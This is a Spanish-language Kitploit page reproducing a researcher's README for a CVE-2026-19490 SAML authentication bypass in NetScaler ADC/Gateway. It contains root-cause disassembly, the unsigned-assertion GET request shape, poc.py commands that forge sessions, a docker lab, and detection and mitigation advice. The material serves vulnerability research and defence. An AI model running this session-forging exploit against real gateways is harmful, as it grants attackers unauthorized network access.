Skip to content
KitploitKITPLOIT
HerramientasExploitsBlog
Enviar
HerramientasExploitsBlog
Enviar

¡Herramientas de Hacking, PenTest y Ciberseguridad para tu Arsenal de Seguridad!

Kitploit es un directorio de herramientas de hacking, ciberseguridad y pentesting. Descubre las últimas actualizaciones de proyectos para encontrar vulnerabilidades, analizar sistemas, automatizar pruebas y fortalecer tu seguridad.

··Feeds·Contacto·Privacidad·© 2026 Kitploit

Directorio de Herramientas

Categorías

Ver todas las categorías
Loading categories
CVE-2026-19490 — NetScaler ADC/Gateway: omisión de aserción SAML sin firmar mediante el enlace HTTP-Redirect (CTX696939): análisis de causa raíz + PoC | Kitploit
Herramientas/GitHubGitHub/tarpeg007/cve-2026-19490
Análisis de VulnerabilidadesExplotaciónExplotación de Aplicaciones WebPruebas de PenetraciónAnálisis de BinariosAutenticaciónRed Teaming
GitHubtarpeg007/cve-2026-19490

CVE-2026-19490

NetScaler ADC/Gateway: omisión de aserción SAML sin firmar mediante el enlace HTTP-Redirect (CTX696939): análisis de causa raíz + PoC

Ver Repositorio
12413hace 21 díasAún no revisado

Más Populares

Ver todos →

Descubre las herramientas más usadas por nuestra comunidad.

Explora todas las herramientas

Explora nuestra colección de herramientas

Ver todas las herramientas →
Compartir

CVE-2026-19490 — Bypass de autenticación SAML en NetScaler ADC/Gateway

Falsificación de sesión no autenticada en Citrix NetScaler ADC / NetScaler Gateway a través del manejador de enlace HTTP-Redirect SAML en GET /cgi/samlauth. CVSS 4.0 9.3, CWE-288. Boletín CTX696939 (2026-08-19), sin workarounds. El crédito del informe original es para Samarth Vashisht (equipo de pentest de JPMorgan Chase); el análisis de causa raíz y el código en este repositorio son trabajo propio.

Afectados: 14.1 anteriores a 14.1-73.32, 13.1 anteriores a 13.1-63.21. Corregido en esas dos versiones.

causa raíz

Dos cosas fallan juntas en nsppe, el motor de paquetes.

1. el enlace de redirect analiza las aserciones con el flag strict desactivado.

Todos los puntos de llamada del analizador de respuestas SAML (sub_b40a50) configuran un argumento "strict" antes de la llamada. La ruta del enlace POST (lo que los navegadores usan realmente para las respuestas SAML) lo pasa activado. La ruta del enlace HTTP-Redirect no:

root@kitploit:~
$ objdump -d -M intel --start-address=0xb7f532 --stop-address=0xb7f558 nsppe-14.1-73.30
  b7f532: 41 b8 00 00 00 00     mov    r8d,0x0          <-- strict OFF
  b7f538: 48 8d 8d d8 fe ff ff  lea    rcx,[rbp-0x128]
  b7f53f: 48 8b 95 b8 fe ff ff  mov    rdx,[rbp-0x148]
  b7f546: 8b b5 cc fe ff ff     mov    esi,[rbp-0x134]
  b7f54c: 48 8b 3d f5 9f 6f 02  mov    rdi,[rip+0x26f9ff5]
  b7f553: e8 f8 14 fc ff        call   b40a50            <-- el analizador

Esa es la ruta alternativa en el sentido de CWE-288. Misma superficie de solicitud, invocación del analizador más débil, alcanzable por cualquiera que pueda enviar un GET con un parámetro de consulta SAMLResponse.

2. la compuerta de aserción sin firmar trata la configuración predeterminada como ALLOW.

Dentro del manejador de redirect, cuando la solicitud no lleva SigAlg/Signature, la palabra de configuración para rejectUnsignedAssertion se compara y bifurca así:

root@kitploit:~
$ objdump -d -M intel --start-address=0xb7ee3b --stop-address=0xb7ee41 nsppe-14.1-73.30
  b7ee3b: 83 78 08 02           cmp    DWORD PTR [rax+0x8],0x2
  b7ee3f: 74 5d                 je     b7ee9e            <-- salta a la ruta ACCEPT

Los valores de la palabra son: 2 = rejectUnsignedAssertion ON (el predeterminado), 3 = STRICT. El je envía 2 a accept. Solo STRICT llega a la línea de registro de denegación:

root@kitploit:~
$ strings -t x nsppe-14.1-73.30 | grep 'denying as per action'
  2020998 SAMLIDP: Redirect Binding: Unsigned Assertion seen, denying as per action %s

Así que en un equipo con configuración predeterminada, una aserción sin firmar entregada al enlace de redirect se analiza (strict off), se acepta más allá de la compuerta de sin firmar (ON malinterpretado como allow), y luego ejecuta los pasos posteriores al análisis habituales: comprobaciones de emisor/audiencia/sujeto contra la configuración de acción SAML, y luego la construcción de la sesión a partir de campos proporcionados por el atacante. Sin digest, sin verificación RSA, en ningún punto de esa ruta. El enlace POST no se ve afectado de la misma manera — pasa strict al analizador y rechaza la entrada sin firmar correctamente.

Precondiciones según el boletín, confirmadas contra el binario: las versiones desde 14.1-43.56 / 13.1-61.28 en adelante necesitan una acción SAML vinculada a un vserver Gateway o AAA (la configuración SAML SSO normal, por lo que la mayoría de los despliegues SAML califican). Las versiones anteriores registran la ruta solo con el vserver.

forma del exploit

Un GET. Construye una Respuesta SAML sin <ds:Signature> en ningún lugar, aplícale DEFLATE + base64 y envíala:

root@kitploit:~
GET /cgi/samlauth?SAMLResponse=<b64(raw-deflate(xml))>&RelayState=<ctx> HTTP/1.1
Host: <gateway>

Los valores que deben coincidir con la configuración de acción SAML del objetivo: Issuer de la aserción = el entity ID del IdP, Audience = el entity ID del SP, Recipient/Destination = la URL ACS, y en configuraciones transaccionales un InResponseTo de una AuthnRequest activa. --mint recorre el redirect de login previo a la autenticación del propio gateway para capturarlos (el SAMLRequest en el encabezado Location los lleva todos). Un 302 a /vpn/ más una cookie NSC_AAAC / NSC_TASS real (no los marcadores de eliminación xyz) es una sesión falsificada como cualquier NameID que pongas.

uso

root@kitploit:~
pip install requests

# ¿está el endpoint ahí y el enlace GET procesa SAMLResponse en absoluto?
python3 poc.py https://vpn.target.com --check-only

# sonda de configuración no intrusiva: aserción sin firmar con un emisor deliberadamente INCORRECTO.
#   'Malformed Assertion' (0xe0005)  -> STRICT, no vulnerable a este vector
#   error de emisor/política (0xe0012)    -> configuración predeterminada, vulnerable; no se acuña sesión
python3 poc.py https://vpn.target.com --safe-oracle

# cadena completa (solo objetivos autorizados): acuña la cadena SP, falsifica, valida una vez
python3 poc.py https://vpn.target.com --mint --name-id [email protected]

--safe-oracle existe porque las dos configuraciones devuelven páginas de error diferentes antes de que ocurra algo con forma de sesión, que es también cómo los defensores pueden autocomprobarse sin tocar un IdP real. Ejecútalo contra tu propio equipo.

demo

demo/demo.gif (también demo.mp4, y demo/demo.cast si quieres reproducirlo con asciinema play): versión afectada desde la imagen docker, la configuración predeterminada de palabra-2, las dos bifurcaciones binarias desensambladas del nsppe incluido, y la comprobación del endpoint del PoC. El último tramo, la emisión de sesión, necesita un VPX con licencia — CPX Express rechaza sesiones AAA en la capa de licencia — que es lo que lab/record-demo.sh captura cuando tienes uno.

laboratorio

lab/setup-cpx.sh levanta la versión afectada exacta en docker:

root@kitploit:~
docker run -dt --privileged --name cpx19490 -e EULA=YES \
    quay.io/netscaler/netscaler-cpx:14.1-73.30
bash lab/setup-cpx.sh

y configura una acción SAML con rejectUnsignedAssertion ON, una política y un vserver Gateway. Dos advertencias aprendidas por las malas:

  • CPX Express no incluye licencia de usuario SSLVPN/AAA. El vserver sirve /cgi/samlauth pero cada solicitud cae en 480 Login exceeds maximum allowed users. Suficiente para reproducir configuración + endpoint + estado binario, no la cookie de sesión final.
  • Para la ejecución completa de emisión de sesión quieres un VPX con la licencia gratuita Developer Edition (My Citrix → descargas → NetScaler VPX, luego CTX587663 para el flujo de licencia). Mismo CLI que en el script de configuración, luego lab/record-demo.sh graba toda la secuencia asciinema: versión, configuración, safe-oracle, sesión falsificada, control negativo STRICT.

Los offsets del binario incluido arriba salen directamente de esa imagen:

root@kitploit:~
docker cp cpx19490:/var/netscaler/bins/nsppe ./nsppe-14.1-73.30
objdump -d -M intel --start-address=0xb7ee3b --stop-address=0xb7ee41 ./nsppe-14.1-73.30

detección / mitigación

  • Actualiza a 14.1-73.32+ / 13.1-63.21+. No hay workaround soportado.
  • set samlAction <name> -samlRejectUnsignedAssertion STRICT bloquea el vector de redirect en la ruta vulnerable (hace que la palabra sea ==3). Ten en cuenta que STRICT también cambia lo que el equipo espera de tu IdP (requisitos de firma de Response + Assertion), que es presumiblemente por qué Citrix envía ON como predeterminado y por qué "solo pon STRICT" no es un workaround limpio para todos.
  • Detecta: solicitudes a /cgi/samlauth que llevan SAMLResponse en GET (las respuestas de enlace redirect son raras en la naturaleza — los navegadores hacen POST), payloads sin firmar, y el diferencial de páginas de error mencionado arriba.

legal

Solo para pruebas de seguridad autorizadas: tu propio laboratorio, o objetivos explícitamente dentro del alcance de un programa en el que estés autorizado. El autor no está afiliado a Citrix ni al equipo de informes original.

cronología

  • 2026-08-19 — Boletín de Citrix CTX696939, correcciones enviadas
  • 2026-09 — este análisis de causa raíz y PoC

Licencia MIT, ver LICENSE.

Descargar herramienta